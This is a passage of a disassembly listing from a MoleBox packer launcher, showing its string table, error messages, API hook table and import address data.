sub_412300+58Fo aWaitforsingleo db 'WaitForSingleObject',0 ; DATA XREF: sub_412300+57Bo ; sub_41AB84+1D4o aVirtualquery db 'VirtualQuery',0 ; DATA XREF: sub_412300+567o align 4 aVirtualprotect db 'VirtualProtect',0 ; DATA XREF: sub_412300+553o align 4 aVirtualfree db 'VirtualFree',0 ; DATA XREF: sub_412300+53Fo aUnmapviewoffil db 'UnmapViewOfFile',0 ; DATA XREF: sub_412300+517o aUnlockfile db 'UnlockFile',0 ; DATA XREF: sub_412300+503o align 10h aTerminateproce db 'TerminateProcess',0 ; DATA XREF: sub_412300+4EFo align 4 aSleep db 'Sleep',0 ; DATA XREF: sub_412300+4DBo ; sub_41AB84+25Eo align 4 aSetunhandledex db 'SetUnhandledExceptionFilter',0 ; DATA XREF: sub_412300+4C7o aSetlasterror db 'SetLastError',0 ; DATA XREF: sub_412300+4B3o align 4 aSetfilepointer db 'SetFilePointer',0 ; DATA XREF: sub_412300+49Fo align 4 aSetevent db 'SetEvent',0 ; DATA XREF: sub_412300+48Bo align 4 aSetenvironment db 'SetEnvironmentVariableA',0 ; DATA XREF: sub_412300+477o aReadfile db 'ReadFile',0 ; DATA XREF: sub_412300+463o align 4 aRaiseexception db 'RaiseException',0 ; DATA XREF: sub_412300+44Fo align 4 aOpenprocess db 'OpenProcess',0 ; DATA XREF: sub_412300+43Bo ; sub_41AB84+230o aMultibytetowid db 'MultiByteToWideChar',0 ; DATA XREF: sub_412300+427o aMapviewoffile db 'MapViewOfFile',0 ; DATA XREF: sub_412300+413o align 4 aLockfile db 'LockFile',0 ; DATA XREF: sub_412300+3FFo align 4 aLocalfree db 'LocalFree',0 ; DATA XREF: sub_412300+3EBo align 10h aLocalalloc db 'LocalAlloc',0 ; DATA XREF: sub_412300+3D7o align 4 aLoadlibraryexa db 'LoadLibraryExA',0 ; DATA XREF: sub_412300+3C3o align 4 aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: sub_412300+3AFo align 4 aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_412300+39Bo align 4 aDeletecritical db 'DeleteCriticalSection',0 ; DATA XREF: sub_412300+387o align 4 aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_412300+373o align 4 aHeapcreate db 'HeapCreate',0 ; DATA XREF: sub_412300+35Fo align 4 aHeapfree db 'HeapFree',0 ; DATA XREF: sub_412300+34Bo align 10h aHeapalloc db 'HeapAlloc',0 ; DATA XREF: sub_412300+337o align 4 aGettickcount db 'GetTickCount',0 ; DATA XREF: sub_412300+323o align 4 aGetversionexa db 'GetVersionExA',0 ; DATA XREF: sub_412300+30Fo align 4 aGettemppatha db 'GetTempPathA',0 ; DATA XREF: sub_412300+2FBo ; sub_41AB84+92o align 4 aGettempfilenam db 'GetTempFileNameA',0 ; DATA XREF: sub_412300+2E7o align 10h aGetsystemtimea db 'GetSystemTimeAsFileTime',0 ; DATA XREF: sub_412300+2D3o aGetprocaddress db 'GetProcAddress',0 ; DATA XREF: sub_412300+2BFo align 4 aGetprivatepr_1 db 'GetPrivateProfileStringA',0 ; DATA XREF: sub_412300+2ABo align 4 aGetprivatepr_0 db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: sub_412300+297o align 4 aGetprivateprof db 'GetPrivateProfileIntA',0 ; DATA XREF: sub_412300+283o align 4 aGetmodulehandl db 'GetModuleHandleA',0 ; DATA XREF: sub_412300+26Fo align 10h aGetmodulefilen db 'GetModuleFileNameA',0 ; DATA XREF: sub_412300+25Bo align 4 aGetlasterror db 'GetLastError',0 ; DATA XREF: sub_412300+247o align 4 aGetfullpathn_0 db 'GetFullPathNameW',0 ; DATA XREF: sub_412300+233o align 4 aGetfullpathnam db 'GetFullPathNameA',0 ; DATA XREF: sub_412300+21Fo align 4 aGetfiletime db 'GetFileTime',0 ; DATA XREF: sub_412300+20Bo aGetfilesize db 'GetFileSize',0 ; DATA XREF: sub_412300+1F7o aGetfileinforma db 'GetFileInformationByHandle',0 ; DATA XREF: sub_412300+1E3o align 10h aGetfileattri_0 db 'GetFileAttributesW',0 ; DATA XREF: sub_412300+1CFo align 4 aGetfileattribu db 'GetFileAttributesA',0 ; DATA XREF: sub_412300+1BBo align 4 aGetexitcodepro db 'GetExitCodeProcess',0 ; DATA XREF: sub_412300+1A7o ; sub_41AB84+1A6o align 4 aGetenvironment db 'GetEnvironmentVariableA',0 ; DATA XREF: sub_412300+193o aGetcurrentpr_0 db 'GetCurrentProcessId',0 ; DATA XREF: sub_412300+17Fo ; sub_41922D+11o aFreelibrary db 'FreeLibrary',0 ; DATA XREF: sub_412300+157o aFormatmessagea db 'FormatMessageA',0 ; DATA XREF: sub_412300+143o align 4 aFlushfilebuffe db 'FlushFileBuffers',0 ; DATA XREF: sub_412300+12Fo align 4 aFindnextfilea db 'FindNextFileA',0 ; DATA XREF: sub_412300+11Bo align 4 aFindfirstfilea db 'FindFirstFileA',0 ; DATA XREF: sub_412300+107o ; sub_41AB84+11Co align 4 aFindclose db 'FindClose',0 ; DATA XREF: sub_412300+F3o ; sub_41AB84+178o align 4 aExitprocess db 'ExitProcess',0 ; DATA XREF: sub_412300+DFo ; sub_41AB84+202o aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_412300+CBo align 4 aDeletefilea db 'DeleteFileA',0 ; DATA XREF: sub_412300+B7o ; sub_41AB84+14Ao aDebugbreak db 'DebugBreak',0 ; DATA XREF: sub_412300+A3o align 10h aCreateprocessa db 'CreateProcessA',0 ; DATA XREF: sub_412300+8Fo align 10h aCreatefilema_0 db 'CreateFileMappingW',0 ; DATA XREF: sub_412300+7Bo align 4 aCreatefilemapp db 'CreateFileMappingA',0 ; DATA XREF: sub_412300+67o align 4 aCreatefilew db 'CreateFileW',0 ; DATA XREF: sub_412300+53o aCreatefilea db 'CreateFileA',0 ; DATA XREF: sub_412300+3Fo aClosehandle db 'CloseHandle',0 ; DATA XREF: sub_412300:loc_41232Bo ; sub_41AB84+28Co aApiNopefunc db ':API:NopeFunc',0 ; DATA XREF: sub_420D80+3o align 4 aMbx db 'mbx',0 ; DATA XREF: sub_41396C+19Eo aBoxReadcompres db ':BOX:ReadCompressedSection: decompresion failed with code %d',0 ; DATA XREF: sub_414C5A+340o align 10h dword_423B60 dd 0F3h ; DATA XREF: sub_416C60+5Aw align 8 dword_423B68 dd 2 dup(0) ; DATA XREF: sub_414C5A+B6o ; sub_414C5A+DBo ... dword_423B70 dd 0 ; DATA XREF: sub_414C5A+73r ; sub_414C5A+F9w ... dword_423B74 dd 0 ; DATA XREF: sub_414C5A+63r ; sub_414C5A+106w ... off_423B78 dd offset dword_42487C ; DATA XREF: sub_414C5A+84r ; sub_414C5A+125r dd 5 dup(0) dd offset dword_424880 dd 5 dup(0) dd offset dword_424884 align 10h dword_423BB0 dd 584F424Dh ; DATA XREF: _3:loc_4175AFr ; _3:004175D3o align 8 dword_423BB8 dd 2Ah ; DATA XREF: sub_41006B+5Ao dword_423BBC dd 2A2E2Ah ; DATA XREF: sub_41006B+26o dword_423BC0 dd 71AA4000h ; DATA XREF: sub_4184A0:loc_4185A7r ; sub_4184A0+112w ... aExecutable db 'EXECUTABLE',0 ; DATA XREF: sub_4184A0+125o ; sub_418780+130o align 10h aTheDynamicLink db 'The dynamic link library ',27h,'%s',27h,' could not be found',0 ; DATA XREF: sub_4184A0+FDo align 4 aOleaout32_dll db 'oleaout32.dll',0 ; DATA XREF: sub_418780+1A5o align 4 aOleoaut32_dll db 'oleoaut32.dll',0 ; DATA XREF: sub_418780:loc_418911o align 4 aImm32_dll db 'imm32.dll',0 ; DATA XREF: sub_418780:loc_4188EFo ; sub_418780+183o align 10h aTheUncompressi db 'The uncompression error',0 ; --------------------------------------------------------------------------- loc_423C48: ; DATA XREF: sub_419995+A9Ao pop eax push 0FF00FF00h push 0FF00FF00h push 0FF00FF00h push eax push 0FF00FF00h retn ; --------------------------------------------------------------------------- align 10h dword_423C60 dd 6C6C642Eh, 0 ; DATA XREF: sub_4191AB+19o ; sub_4191AB+32o aCProjectsPTegg db 'C:\Projects\P\Teggo\MoleBox\molebox2\bootup\mbx_DLL.cpp',0 ; DATA XREF: sub_419995+C67o a_box_ db '_BOX_',0 ; DATA XREF: sub_419995+A0Eo align 4 aGetcurrentdire db 'GetCurrentDirectoryA',0 ; DATA XREF: sub_41AB84+EEo align 10h aSetcurrentdire db 'SetCurrentDirectoryA',0 ; DATA XREF: sub_41AB84+C0o align 4 aMbx@X@_ db 'MBX@%X@*.###',0 ; DATA XREF: sub_41AB84+53o ; sub_41BF82+E8o align 4 aStripped db '<stripped>',0 ; DATA XREF: _4:off_4214F4o align 4 aAssertionFai_0 db 'ASSERTION failed',0 ; DATA XREF: _4:off_4214F0o align 4 aMoleboxLaunche db 'MoleBox launcher fatal error',0 ; DATA XREF: _4:off_4214ECo align 4 asc_423D28: ; DATA XREF: sub_41BB7C+57o ; sub_41BBE7+2Do dw 0Ah unicode 0, <>,0 aErrorAtSDReaso db 'Error at %s:%d',0Ah ; DATA XREF: sub_41BB7C+1Eo db 0Ah db 'Reason: ',0 align 4 aUp1_txt db '-up1.txt',0 ; DATA XREF: sub_41BC28:loc_41BD38o align 4 aUp_txt db '-up.txt',0 ; DATA XREF: sub_41BC28+BCo asc_423D5C db 0Dh,0Ah,0 ; DATA XREF: sub_41BE16+59o align 10h aWindowsErrorSA db 'windows error %s',0Ah ; DATA XREF: sub_41BEBA+75o db ' at %s(%d)',0Ah,0 align 10h aMbx@X@X_ db 'MBX@%X@%X.###',0 ; DATA XREF: sub_41BF82+C2o align 10h aMbx@X@X@X_ db 'MBX@%X@%X@%X.###',0 ; DATA XREF: sub_41BF82+93o align 4 a_ db '.###',0 ; DATA XREF: sub_41C106+175o align 4 aMbx@ db 'MBX@',0 ; DATA XREF: sub_41C106+78o align 4 aInvalidDllRelo db 'INVALID DLL RELOCATION',0 ; DATA XREF: sub_41C317:loc_41C550o align 4 aBadFuulname db 'BAD FUULNAME',0 ; DATA XREF: sub_41C317:loc_41C547o align 4 aGetmodulenameE db 'GetModuleName ERROR',0 ; DATA XREF: sub_41C317:loc_41C53Eo aHookingDllErro db 'HOOKING DLL ERROR',0 ; DATA XREF: sub_41C317:loc_41C535o align 4 aPackedDllOrBox db 'PACKED DLL OR BOXFILE CORRUPTED',0 ; DATA XREF: sub_41C317:loc_41C52Co aInvalidCompres db 'INVALID COMPRESSION/ENCRYPTION ALGORITHM',0 ; DATA XREF: sub_41C317:loc_41C523o align 10h aDllCorrupted db 'DLL CORRUPTED',0 ; DATA XREF: sub_41C317:loc_41C51Ao align 10h aHeapCorrupted db 'HEAP CORRUPTED',0 ; DATA XREF: sub_41C317:loc_41C511o align 10h aCouldNotCreate db 'COULD NOT CREATE HEAP',0 ; DATA XREF: sub_41C317:loc_41C508o align 4 aVirtualprote_0 db 'VIRTUALPROTECT BROKEN',0 ; DATA XREF: sub_41C317:loc_41C4FFo align 10h aWrappersTableB db 'WRAPPERS TABLE BROKEN',0 ; DATA XREF: sub_41C317:loc_41C4F6o align 4 aOutOfMemory db 'OUT OF MEMORY',0 ; DATA XREF: sub_41C317:loc_41C4EDo align 4 aFeatureIsNotIm db 'FEATURE IS NOT IMPLEMENTED',0 ; DATA XREF: sub_41C317:loc_41C4E4o align 4 aBoxfileCorrupt db 'BOXFILE CORRUPTED',0 ; DATA XREF: sub_41C317:loc_41C4DBo align 4 aReadBoxfileErr db 'READ BOXFILE ERROR',0 ; DATA XREF: sub_41C317:loc_41C4D2o align 4 aCouldNotOpenBo db 'COULD NOT OPEN BOXFILE',0 ; DATA XREF: sub_41C317:loc_41C4C6o align 4 aPathIsVeryLong db 'PATH IS VERY LONG',0 ; DATA XREF: sub_41C317:loc_41C4BAo align 4 aExecutableCorr db 'EXECUTABLE CORRUPTED',0 ; DATA XREF: sub_41C317:loc_41C4AEo align 10h aDynamicLibrary db 'DYNAMIC LIBRARY IS NOT NT IMAGE',0 ; DATA XREF: sub_41C317:loc_41C4A2o aExecutableIsNo db 'EXECUTABLE IS NOT NT IMAGE',0 ; DATA XREF: sub_41C317:loc_41C496o align 4 aHasNoAccessToE db 'HAS NO ACCESS TO EXECUTABLE',0 ; DATA XREF: sub_41C317:loc_41C48Ao aAssertionFaile db 'ASSERTION FAILED',0 ; DATA XREF: sub_41C317:loc_41C47Eo align 4 aEsi0x08xEdi0x0 db 'ESI:0x%08X EDI:0x%08X',0 ; DATA XREF: sub_41C317+101o align 4 aEsp0x08xEbp0x0 db 'ESP:0x%08X EBP:0x%08X EIP:0x%08X',0 ; DATA XREF: sub_41C317+DCo align 4 aEax0x08xEdx0x0 db 'EAX:0x%08X EDX:0x%08X ECX:0x%08X',0 ; DATA XREF: sub_41C317+ABo align 4 aEs0x08xFs0x08x db 'ES :0x%08X FS :0x%08X GS :0x%08X',0 ; DATA XREF: sub_41C317+7Ao align 10h aCs0x08xSs0x08x db 'CS :0x%08X SS :0x%08X DS :0x%08X',0 ; DATA XREF: sub_41C317+49o align 4 a__seh__0xXAt0x db '__SEH__ 0x%x at 0x%x',0 ; DATA XREF: sub_41C317+18o align 4 aCc7574e45e3947 db '{CC7574E4-5E39-4700-B286-269A82DD8E95}',0 ; DATA XREF: sub_410253+40o ; sub_410253+A8o align 4 a_splashscreen_ db '_splashscreen.bmp',0 ; DATA XREF: sub_410386+12o align 4 aBroken0x08x db '!broken!0x%08x:',0 ; DATA XREF: sub_41C5E3+FBo a0x08xS03x08x db '0x%08x:[%s]:(%03x:%08x)',0 ; DATA XREF: sub_41C5E3+CAo aUnknown db 'unknown',0 ; DATA XREF: sub_41C5E3+B7o a0x08xUnknownUn db '0x%08x:[unknown]:unknown',0 ; DATA XREF: sub_41C5E3+60o align 4 aBroken db '!broken!',0 ; DATA XREF: sub_41C5E3+31o align 10h a0x08x0x08x0x08 db '0x%08x: 0x%08x 0x%08x 0x%08x 0x%08x',0 ; DATA XREF: sub_41C87E+F9o aStack db '--stack--',0 ; DATA XREF: sub_41C87E:loc_41C932o align 10h a___OpssBrokenB db ' ... opss, broken by SEH',0 ; DATA XREF: sub_41C87E+A5o ; sub_41C87E+11Eo align 4 aS db ' %s',0 ; DATA XREF: sub_41C87E+47o ; sub_41C87E+8Ao align 4 aBacktrace db '-- backtrace --',0 ; DATA XREF: sub_41C87E+28o align 8 dd 2 dup(0FFFFFFFFh) aDllgetclassobj db 'DllGetClassObject',0 ; DATA XREF: sub_41CA0F+51o ; sub_41E33E+3Eo align 8 dword_424198 dd 2 dup(0) ; DATA XREF: sub_41CAA3+43o dd 0C0h, 46000000h dword_4241A8 dd 1, 0 ; DATA XREF: sub_41CAA3+11o dd 0C0h, 46000000h aRegqueryvaluea db 'RegQueryValueA',0 ; DATA XREF: sub_41CD16+42o align 4 aAdvapi32_dll db 'ADVAPI32.DLL',0 ; DATA XREF: sub_41CD16+3Do align 4 aClsid08x04x04x db 'CLSID\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\InprocSe' ; DATA XREF: sub_41CDFA+58o db 'rver32',0 off_424220 dd offset sub_41D332 ; DATA XREF: sub_41D40A+102o dd offset aSetunhandled_0 ; "SetUnhandledExceptionFilter" dd offset sub_41E58B dd offset aCreatefilea_0 ; "CreateFileA" dd offset sub_41E5D9 dd offset aCreatefilew_0 ; "CreateFileW" dd offset sub_41DDE5 dd offset aGetfileattri_1 ; "GetFileAttributesA" dd offset sub_41DE13 dd offset aGetfileattri_2 ; "GetFileAttributesW" dd offset sub_41E6D7 dd offset aReadfile_0 ; "ReadFile" dd offset sub_41E6B0 dd offset aClosehandle_0 ; "CloseHandle" dd offset sub_41E73B dd offset aSetfilepoint_0 ; "SetFilePointer" dd offset sub_41DEE0 dd offset aGetfilesize_0 ; "GetFileSize" dd offset sub_41D6FE dd offset aExitprocess_0 ; "ExitProcess" dd offset sub_41E77F dd offset aCreatefilema_1 ; "CreateFileMappingA" dd offset sub_41E7BB dd offset aCreatefilema_2 ; "CreateFileMappingW" dd offset sub_41E7F7 dd offset aMapviewoffil_0 ; "MapViewOfFile" dd offset sub_41E836 dd offset aUnmapviewoff_0 ; "UnmapViewOfFile" dd offset sub_41E45A dd offset aFreelibrary_0 ; "FreeLibrary" dd offset sub_41E15D dd offset aLoadlibrarya_0 ; "LoadLibraryA" dd offset sub_41E22D dd offset aLoadlibraryw ; "LoadLibraryW" dd offset sub_41E170 dd offset aLoadlibrarye_0 ; "LoadLibraryExA" dd offset sub_41E240 dd offset aLoadlibraryexw ; "LoadLibraryExW" dd offset sub_41E33E dd offset aGetprocaddre_0 ; "GetProcAddress" dd offset sub_41D96A dd offset aFindfirstfil_0 ; "FindFirstFileA" dd offset sub_41D997 dd offset aFindfirstfilew ; "FindFirstFileW" dd offset sub_41DAE0 dd offset aFindfirstfilee ; "FindFirstFileExW" dd offset sub_41DC35 dd offset aFindclose_0 ; "FindClose" dd offset sub_41DC5C dd offset aFindnextfile_0 ; "FindNextFileA" dd offset sub_41DC8D dd offset aFindnextfilew ; "FindNextFileW" dd offset sub_41E85D dd offset aOpenfile ; "OpenFile" dd offset sub_41E911 dd offset a_lopen ; "_lopen" dd offset sub_41E952 dd offset a_lclose ; "_lclose" dd offset sub_41E9EC dd offset a_lread ; "_lread" dd offset sub_41E9A7 dd offset a_llseek ; "_llseek" dd offset sub_41E254 dd offset aGetmodulehan_0 ; "GetModuleHandleA" dd offset sub_41E28E dd offset aGetmodulehan_1 ; "GetModuleHandleW" dd offset sub_41D85C dd offset aSearchpathw ; "SearchPathW" dd offset sub_41D7FD dd offset aSearchpatha ; "SearchPathA" dd offset sub_41DF52 dd offset aGetprivatepr_2 ; "GetPrivateProfileStringA" dd offset sub_41DFF8 dd offset aGetprivatepr_3 ; "GetPrivateProfileIntA" dd offset sub_41E07F dd offset aGetprivatepr_4 ; "GetPrivateProfileSectionNamesA" ; --------------------------------------------------------------------------- retf 41E0h ; --------------------------------------------------------------------------- align 4 dd offset aGetprivatepr_5 ; "GetPrivateProfileSectionA" dd offset sub_41DD46 dd offset aGetfileinfor_0 ; "GetFileInformationByHandle" dd offset sub_41DD77 dd offset aLockfile_0 ; "LockFile" dd offset sub_41DDB3 dd offset aUnlockfile_0 ; "UnlockFile" dd offset sub_41DF18 dd offset aGetmodulefil_0 ; "GetModuleFileNameA" off_424378 dd offset sub_41E519 ; DATA XREF: sub_41D40A+116o dd offset aAddfontresou_0 ; "AddFontResourceA" dd offset sub_41E552 dd offset aRemovefontre_0 ; "RemoveFontResourceA" off_424388 dd offset sub_41E4C5 ; DATA XREF: sub_41D40A+12Ao dd offset aLoadimagea_0 ; "LoadImageA" off_424390 dd offset sub_41CBF6 ; DATA XREF: sub_41D40A+13Eo dd offset aCocreateinstan ; "CoCreateInstance" dd offset sub_41CE67 dd offset aCocreateinst_0 ; "CoCreateInstanceEx" dd offset sub_41CF9E dd offset aCogetclassobje ; "CoGetClassObject" off_4243A8 dd offset sub_41D112 ; DATA XREF: sub_41D40A+152o dd offset aGetrecordinf_0 ; "GetRecordInfoFromGuids" dd offset sub_41D21A dd offset aLoadregtypelib ; "LoadRegTypeLib" dword_4243B8 dd 19930520h, 414827h, 0B0h, 12DA44h, 2 dup(0) ; DATA XREF: _3:004104B7o ; sub_4104BE+2o off_4243D0 dd offset word_4243DA ; DATA XREF: sub_41072E:loc_41077Dr ; sub_41072E:loc_41078Fr ... dd offset word_4243DA db 2 dup(0) word_4243DA dw 20h ; DATA XREF: _5:off_4243D0o ; _5:004243D4o unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4245DC dd 1 ; DATA XREF: sub_41072E+3Cr ; sub_41097A:loc_410982r ... dd 2Eh, 1, 2 dup(0) dword_4245F0 dd 77E64C09h ; DATA XREF: sub_411310+1DFw ; sub_411310+1F6r ... dword_4245F4 dd 860000h ; DATA XREF: _3:00411EF3w _3:00411F2Fr dword_4245F8 dd 880000h ; DATA XREF: _3:00411F2Aw _3:00411F3Br dword_4245FC dd 870000h ; DATA XREF: _3:00411F14w dword_424600 dd 2 ; DATA XREF: _3:004120DCr ; sub_418B90+BAr ... dword_424604 dd 851F00h ; DATA XREF: _3:00412226r ; _3:loc_4122AFr ... dword_424608 dd 411B5Eh ; DATA XREF: sub_411E70+3r ; _3:00411E8Fw dword_42460C dd 0FFFFFFFFh ; DATA XREF: sub_411310+213w ; sub_411310+387r ... dd 0 byte_424614 db 0 ; DATA XREF: _3:004122C1w ; sub_4191AB+Er align 4 dword_424618 dd 6 ; DATA XREF: sub_411310+3F9w ; sub_418780:loc_4187CDr off_42461C dd offset aKbyr ; DATA XREF: sub_411310+402w ; _3:loc_412CB7r ... ; "KByR" dword_424620 dd 0 ; DATA XREF: sub_412300+8B3o dword_424624 dd 77E77963h ; DATA XREF: sub_412300+3Aw ; sub_412300+881o ... dword_424628 dd 77E7A837h ; DATA XREF: sub_412300+4Ew ; _3:00412C2Cr ... dword_42462C dd 77E779B1h ; DATA XREF: sub_412300+62w ; sub_41E5D9+9Fr dword_424630 dd 77E77797h ; DATA XREF: sub_412300+76w ; _3:00412C60r ... dword_424634 dd 77E776D3h ; DATA XREF: sub_412300+8Aw ; sub_41E7BB+2Cr dword_424638 dd 77E61BB8h ; DATA XREF: sub_412300+9Ew ; sub_41A8B3+E6r dword_42463C dd 77EB36A5h ; DATA XREF: sub_412300+B2w dword_424640 dd 77E73628h ; DATA XREF: sub_412300+C6w ; sub_41396C+2EAr ... dword_424644 dd 77F7E21Fh ; DATA XREF: sub_412300+DAw ; sub_413272+2Ar ... dword_424648 dd 77E75CB5h ; DATA XREF: sub_412300+EEw ; sub_41D6FE+AFr dword_42464C dd 77E78EAAh ; DATA XREF: sub_412300+102w ; sub_416C60+4FEr ... dword_424650 dd 77E75D9Eh ; DATA XREF: sub_412300+116w ; sub_4136FE+B4r ... dword_424654 dd 77E75E67h ; DATA XREF: sub_412300+12Aw ; sub_4136FE+DCr ... dword_424658 dd 77E73FF9h ; DATA XREF: sub_412300+13Ew ; sub_419995+C31r dword_42465C dd 77E76A60h ; DATA XREF: sub_412300+152w ; sub_41BEBA+60r dword_424660 dd 77E80618h ; DATA XREF: sub_412300+166w ; sub_41925C+128r ... dword_424664 dd 77E79C90h ; DATA XREF: sub_412300+17Aw ; sub_41A8B3+4Br ... dword_424668 dd 77E80656h ; DATA XREF: sub_410216+15r ; sub_412300+18Ew ... dword_42466C dd 77E7AC5Eh ; DATA XREF: sub_412300+1A2w dword_424670 dd 77E7FF65h ; DATA XREF: sub_412300+1B6w dword_424674 dd 77E74CABh ; DATA XREF: sub_412300+1CAw ; sub_41DDE5+16r dword_424678 dd 77E78536h ; DATA XREF: sub_412300+1DEw ; sub_41DE13+84r dword_42467C dd 77E72EA0h ; DATA XREF: sub_412300+1F2w ; sub_414856+83r ... dword_424680 dd 77E793EFh ; DATA XREF: sub_412300+206w ; _3:00412C41r ... dword_424684 dd 77E73CE2h ; DATA XREF: sub_412300+21Aw ; _3:0041792Fr dword_424688 dd 77E80357h ; DATA XREF: sub_412300+22Ew ; sub_413272+71r ... dword_42468C dd 77E781DBh ; DATA XREF: sub_412300+242w ; sub_41D85C+92r dword_424690 dd 77F5157Dh ; DATA XREF: sub_412300+256w ; sub_41925C+113r ... dword_424694 dd 77E7A099h ; DATA XREF: sub_412300+26Aw ; _3:00412EB9r ... dword_424698 dd 77E79F93h ; DATA XREF: sub_410253+4Cr ; _3:00411E99r ... dword_42469C dd 77E719F3h ; DATA XREF: sub_412300+292w ; sub_41DFF8+76r dword_4246A0 dd 77E61FD2h ; DATA XREF: sub_412300+2A6w ; sub_41E07F+3Br dword_4246A4 dd 77E72C64h ; DATA XREF: sub_412300+2BAw ; sub_41DF52+95r dword_4246A8 dd 77E7A5FDh ; DATA XREF: _3:00411EC2r ; sub_412300+2CEw ... dword_4246AC dd 77E6167Bh ; DATA XREF: sub_412300+2E2w ; sub_414C5A+97r ... dword_4246B0 dd 77E6AF8Fh ; DATA XREF: sub_412300+2F6w ; sub_41396C+1A6r dword_4246B4 dd 77E6AD34h ; DATA XREF: sub_412300+30Aw ; sub_41396C+193r ... dword_4246B8 dd 77E7C657h ; DATA XREF: sub_412300+31Ew dword_4246BC dd 77E7751Ah ; DATA XREF: _3:00411EFFr ; sub_412300+332w dword_4246C0 dd 77F516F8h ; DATA XREF: sub_412300+346w ; sub_41BA4A+1Fr dword_4246C4 dd 77F51597h ; DATA XREF: sub_412300+35Aw ; sub_41BACD+1Cr dword_4246C8 dd 77E7C726h ; DATA XREF: sub_412300+36Ew ; sub_41BA87+16r dword_4246CC dd 77E79908h ; DATA XREF: sub_412300+382w ; sub_416C60+2Er ... dword_4246D0 dd 77F53275h ; DATA XREF: sub_412300+396w ; sub_41EB05+2Br dword_4246D4 dd 77F7E300h ; DATA XREF: sub_412300+3AAw ; sub_41363F+5r ... dword_4246D8 dd 77E805B8h ; DATA XREF: sub_412300+3D2w ; sub_419995+16Ar dword_4246DC dd 77E805D8h ; DATA XREF: sub_412300+3BEw ; sub_412300+5D0r ... dword_4246E0 dd 77E79881h ; DATA XREF: sub_412300+3E6w dword_4246E4 dd 77E79A45h ; DATA XREF: sub_412300+3FAw ; sub_41BF54+9r dword_4246E8 dd 77E64E2Bh ; DATA XREF: sub_412300+40Ew ; sub_41DD77+23r dword_4246EC dd 77E74D76h ; DATA XREF: sub_412300+422w ; _3:00412C7Dr ... dword_4246F0 dd 77E77CCEh ; DATA XREF: sub_412300+436w ; sub_41D112+69r ... dword_4246F4 dd 77E706B7h ; DATA XREF: sub_412300+44Aw dword_4246F8 dd 77E6D706h ; DATA XREF: _3:00411EB3r _3:00411EDCr ... dword_4246FC dd 77E78B82h ; DATA XREF: sub_412300+472w ; _3:00414B09r ... dword_424700 dd 77E6BD68h ; DATA XREF: sub_412300+486w dword_424704 dd 77E74A3Bh ; DATA XREF: sub_412300+49Aw ; sub_41E6D7+57r dword_424708 dd 77E78C81h ; DATA XREF: sub_412300+4AEw ; sub_414344+74r ... dword_42470C dd 77F51587h ; DATA XREF: sub_412300+4C2w ; sub_413272+3BCr ... dword_424710 dd 77E7C9E7h ; DATA XREF: sub_412300+4D6w ; sub_41C307+8r ... dword_424714 dd 77E61BE6h ; DATA XREF: sub_410253+100r ; sub_410386+4Dr ... dword_424718 dd 77E616B4h ; DATA XREF: sub_412300+4FEw ; sub_41BAF1+2Dr ... dword_42471C dd 77E64EA0h ; DATA XREF: sub_412300+512w ; sub_41DDB3+23r dword_424720 dd 77E75090h ; DATA XREF: sub_412300+526w ; sub_41E836+17r dword_424724 dd 77E7980Ah ; DATA XREF: sub_412300+53Aw ; sub_413FDF+124r ... dword_424728 dd 77E79E34h ; DATA XREF: sub_412300+54Ew ; sub_413EED+91r ... dword_42472C dd 77E6169Ah ; DATA XREF: sub_412300+562w ; sub_413FDF+1A7r ... dword_424730 dd 77E7F044h ; DATA XREF: sub_412300+576w ; sub_41C5E3+56r dword_424734 dd 77E79D5Bh ; DATA XREF: sub_412300+58Aw dword_424738 dd 77E79924h ; DATA XREF: sub_412300+59Ew ; sub_41D85C+6Ar ... dword_42473C dd 77E79D8Ch ; DATA XREF: sub_412300+5B2w ; sub_41396C+282r ... dword_424740 dd 77E76A2Eh ; DATA XREF: sub_412300+5C6w ; sub_415B59+1E2r ... dword_424744 dd 77D98E9Ah ; DATA XREF: sub_412300+5FFw ; sub_41BAF1+Br ... dword_424748 dd 77D44D9Bh ; DATA XREF: sub_412300+613w ; sub_413272+88r ... dword_42474C dd 77D4D42Bh ; DATA XREF: sub_412300+627w ; sub_41E4C5+44r dword_424750 dd 77D6ADD7h ; DATA XREF: sub_412300+63Bw ; sub_41BAF1+1Er ... dword_424754 dd 77D4C96Ah ; DATA XREF: sub_412300+64Fw ; sub_41AB84+5Dr ... dword_424758 dd 77D4C783h ; DATA XREF: sub_412300+663w ; sub_41BB7C+45r ... dword_42475C dd 77C87425h ; DATA XREF: sub_412300+69Cw ; sub_41396C+2D4r dword_424760 dd 77C7212Fh ; DATA XREF: sub_41015E+41r ; sub_412300+6B0w ... dword_424764 dd 77C76551h ; DATA XREF: sub_412300+6C4w ; sub_418F16+1D1r dword_424768 dd 77C72C6Bh ; DATA XREF: sub_41015E+8Ar ; sub_412300+6D8w ... dword_42476C dd 77C87887h ; DATA XREF: sub_412300+6ECw ; sub_413D44+E6r ... dword_424770 dd 77D458EEh ; DATA XREF: sub_41015E+38r ; sub_412300+700w dword_424774 dd 77D458FDh ; DATA XREF: sub_41015E+97r ; sub_412300+714w dword_424778 dd 77C7506Dh ; DATA XREF: sub_41015E+2Br ; sub_410253+26r ... dword_42477C dd 77C71BB0h ; DATA XREF: sub_41015E+53r ; sub_41015E+81r ... dword_424780 dd 77C72889h ; DATA XREF: sub_410253+119r ; sub_412300+750w dword_424784 dd 77C729E2h ; DATA XREF: sub_41015E+75r ; sub_412300+764w dword_424788 dd 77D45CBCh ; DATA XREF: sub_410216+Fr ; sub_412300+778w dword_42478C dd 77D48977h ; DATA XREF: sub_410216+23r ; sub_412300+78Cw dword_424790 dd 77D47F34h ; DATA XREF: sub_410216+2Cr ; sub_412300+7A0w dword_424794 dd 77D4DCCCh ; DATA XREF: sub_410253+5Cr ; sub_412300+7B4w dword_424798 dd 77D477C0h ; DATA XREF: sub_410253+64r ; sub_410253+6Fr ... dword_42479C dd 77D414D4h ; DATA XREF: sub_410253+AFr ; sub_412300+7DCw dword_4247A0 dd 77D44200h ; DATA XREF: sub_410253+CBr 